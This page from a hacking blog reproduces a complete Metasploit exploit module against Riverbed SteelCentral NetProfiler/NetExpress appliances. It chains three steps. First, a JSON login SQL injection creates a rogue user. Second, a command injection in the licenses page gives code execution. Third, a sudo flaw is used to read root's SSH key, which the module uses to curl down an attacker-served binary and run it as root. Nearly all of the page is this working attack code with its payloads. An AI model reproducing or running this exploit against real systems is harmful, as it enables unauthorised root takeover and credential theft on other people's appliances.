Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863572164

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  require 'digest'

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Riverbed SteelCentral NetProfiler/NetExpress Remote Code Execution",
      'Description'    => %q{
        This module exploits three separate vulnerabilities found in the Riverbed SteelCentral NetProfiler/NetExpress
        virtual appliances to obtain remote command execution as the root user. A SQL injection in the login form
        can be exploited to add a malicious user into the application's database. An attacker can then exploit a
        command injection vulnerability in the web interface to obtain arbitrary code execution. Finally, an insecure
        configuration of the sudoers file can be abused to escalate privileges to root.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'Francesco Oddo <francesco.oddo[at]security-assessment.com>' ],
      'References'     =>
        [
          [ 'URL', 'http://www.security-assessment.com/files/documents/advisory/Riverbed-SteelCentral-NetProfilerNetExpress-Advisory.pdf' ]
        ],
      'Platform'       => 'linux',
      'Arch'           => ARCH_X86_64,
      'Stance'         => Msf::Exploit::Stance::Aggressive,
      'Targets'        =>
        [
          [ 'Riverbed SteelCentral NetProfiler 10.8.7 / Riverbed NetExpress 10.8.7', { }]
        ],
      'DefaultOptions' =>
        {
          'SSL' => true
        },
      'Privileged'     => false,
      'DisclosureDate' => "Jun 27 2016",
      'DefaultTarget'  => 0
      ))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The target URI', '/']),
        OptString.new('RIVERBED_USER', [true, 'Web interface user account to add', 'user']),
        OptString.new('RIVERBED_PASSWORD', [true, 'Web interface user password', 'riverbed']),
        OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the payload request', 10]),
        Opt::RPORT(443)
      ],
      self.class
    )
  end

  def check
    json_payload_check = "{\"username\":\"check_vulnerable%'; SELECT PG_SLEEP(2)--\", \"password\":\"pwd\"}";

    # Verifies existence of login SQLi
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path,'/api/common/1.0/login'),
      'ctype' => 'application/json',
      'encode_params' => false,
      'data'     => json_payload_check
     })

     if res && res.body && res.body.include?('AUTH_DISABLED_ACCOUNT')
       return Exploit::CheckCode::Vulnerable
     end

     Exploit::CheckCode::Safe
  end

  def exploit

    print_status("Attempting log in to target appliance")
    @sessid = do_login

    print_status("Confirming command injection vulnerability")
    test_cmd_inject
    vprint_status('Ready to execute payload on appliance')

    @elf_sent = false
    # Generate payload
    @pl = generate_payload_exe

    if @pl.nil?
      fail_with(Failure::BadConfig, 'Please select a valid Linux payload')
    end

    # Start the server and use primer to trigger fetching and running of the payload
    begin
      Timeout.timeout(datastore['HTTPDELAY']) { super }
    rescue Timeout::Error
    end

  end

  def get_nonce
    # Function to get nonce from login page

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path,'/index.php'),
     })

    if res && res.body && res.body.include?('nonce_')
       html = res.get_html_document
       nonce_field = html.at('input[@name="nonce"]')
       nonce = nonce_field.attributes["value"]
    else
       fail_with(Failure::Unknown, 'Unable to get login nonce.')
    end

    # needed as login nonce is bounded to preauth SESSID cookie
    sessid_cookie_preauth = (res.get_cookies || '').scan(/SESSID=(\w+);/).flatten[0] || ''

    return [nonce, sessid_cookie_preauth]

  end

  def do_login

    uname = datastore['RIVERBED_USER']
    passwd = datastore['RIVERBED_PASSWORD']

    nonce, sessid_cookie_preauth = get_nonce
    post_data = "login=1&nonce=#{nonce}&uname=#{uname}&passwd=#{passwd}"

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path,'/index.php'),
      'cookie' => "SESSID=#{sessid_cookie_preauth}",
      'ctype' => 'application/x-www-form-urlencoded',
      'encode_params' => false,
      'data'     => post_data
     })

    # Exploit login SQLi if credentials are not valid.
    if res && res.body && res.body.include?('<form name="login"')
       print_status("Invalid credentials. Creating malicious user through login SQLi")

       create_user
       nonce, sessid_cookie_preauth = get_nonce
       post_data = "login=1&nonce=#{nonce}&uname=#{uname}&passwd=#{passwd}"

       res = send_request_cgi({
         'method' => 'POST',
         'uri' => normalize_uri(target_uri.path,'/index.php'),
         'cookie' => "SESSID=#{sessid_cookie_preauth}",
         'ctype' => 'application/x-www-form-urlencoded',
         'encode_params' => false,
         'data'     => post_data
       })

       sessid_cookie = (res.get_cookies || '').scan(/SESSID=(\w+);/).flatten[0] || ''
       print_status("Saving login credentials into Metasploit DB")
       report_cred(uname, passwd)
    else
       print_status("Valid login credentials provided. Successfully logged in")
       sessid_cookie = (res.get_cookies || '').scan(/SESSID=(\w+);/).flatten[0] || ''
       print_status("Saving login credentials into Metasploit DB")
       report_cred(uname, passwd)
    end

    return sessid_cookie

  end

  def report_cred(username, password)
    # Function used to save login credentials into Metasploit database
    service_data = {
      address: rhost,
      port: rport,
      service_name: ssl ? 'https' : 'http',
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      module_fullname: self.fullname,
      origin_type: :service,
      username: username,
      private_data: password,
      private_type: :password
    }.merge(service_data)

    credential_core = create_credential(credential_data)

    login_data = {
      core: credential_core,
      last_attempted_at: DateTime.now,
      status: Metasploit::Model::Login::Status::SUCCESSFUL
    }.merge(service_data)

    create_credential_login(login_data)
  end

  def create_user
    # Function exploiting login SQLi to create a malicious user
    username = datastore['RIVERBED_USER']
    password = datastore['RIVERBED_PASSWORD']

    usr_payload = generate_sqli_payload(username)
    pwd_hash = Digest::SHA512.hexdigest(password)
    pass_payload = generate_sqli_payload(pwd_hash)
    uid = rand(999)

    json_payload_sqli = "{\"username\":\"adduser%';INSERT INTO users (username, password, uid) VALUES ((#{usr_payload}), (#{pass_payload}), #{uid});--\", \"password\":\"pwd\"}";

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path,'/api/common/1.0/login'),
      'ctype' => 'application/json',
      'encode_params' => false,
      'data'     => json_payload_sqli
     })

     json_payload_checkuser = "{\"username\":\"#{username}\", \"password\":\"#{password}\"}";

     res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path,'/api/common/1.0/login'),
      'ctype' => 'application/json',
      'encode_params' => false,
      'data'     => json_payload_checkuser
     })

     if res && res.body && res.body.include?('session_id')
       print_status("User account successfully created, login credentials: '#{username}':'#{password}'")
     else
       fail_with(Failure::UnexpectedReply, 'Unable to add user to database')
     end

  end

  def generate_sqli_payload(input)
    # Function to generate sqli payload for user/pass in expected format
    payload = ''
    input_array = input.strip.split('')
    for index in 0..input_array.length-1
      payload = payload << 'CHR(' + input_array[index].ord.to_s << ')||'
    end

    # Gets rid of the trailing '||' and newline
    payload = payload[0..-3]

    return payload
  end

  def test_cmd_inject
    post_data = "xjxfun=get_request_key&xjxr=1457064294787&xjxargs[]=Stoken; id;"

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path,'/index.php?page=licenses'),
      'cookie' => "SESSID=#{@sessid}",
      'ctype' => 'application/x-www-form-urlencoded',
      'encode_params' => false,
      'data'     => post_data
     })

    unless res && res.body.include?('uid=')
      fail_with(Failure::UnexpectedReply, 'Could not inject command, may not be vulnerable')
    end

  end

  def cmd_inject(cmd)

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path,'/index.php?page=licenses'),
      'cookie' => "SESSID=#{@sessid}",
      'ctype' => 'application/x-www-form-urlencoded',
      'encode_params' => false,
      'data'     => cmd
     })

  end

  # Deliver payload to appliance and make it run it
  def primer

    # Gets the autogenerated uri
    payload_uri = get_uri

    root_ssh_key_private = rand_text_alpha_lower(8)
    binary_payload = rand_text_alpha_lower(8)

    print_status("Privilege escalate to root and execute payload")

    privesc_exec_cmd = "xjxfun=get_request_key&xjxr=1457064346182&xjxargs[]=Stoken;  sudo -u mazu /usr/mazu/bin/mazu-run /usr/bin/sudo /bin/date -f /opt/cascade/vault/ssh/root/id_rsa | cut -d ' ' -f 4- | tr -d '`' | tr -d \"'\" > /tmp/#{root_ssh_key_private}; chmod 600 /tmp/#{root_ssh_key_private}; ssh -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no -i /tmp/#{root_ssh_key_private} root@localhost '/usr/bin/curl -k #{payload_uri} -o /tmp/#{binary_payload}; chmod 755 /tmp/#{binary_payload}; /tmp/#{binary_payload}'"

    cmd_inject(privesc_exec_cmd)

    register_file_for_cleanup("/tmp/#{root_ssh_key_private}")
    register_file_for_cleanup("/tmp/#{binary_payload}")

    vprint_status('Finished primer hook, raising Timeout::Error manually')
    raise(Timeout::Error)
  end

  #Handle incoming requests from the server
  def on_request_uri(cli, request)
    vprint_status("on_request_uri called: #{request.inspect}")
    print_status('Sending the payload to the server...')
    @elf_sent = true
    send_response(cli, @pl)
  end

end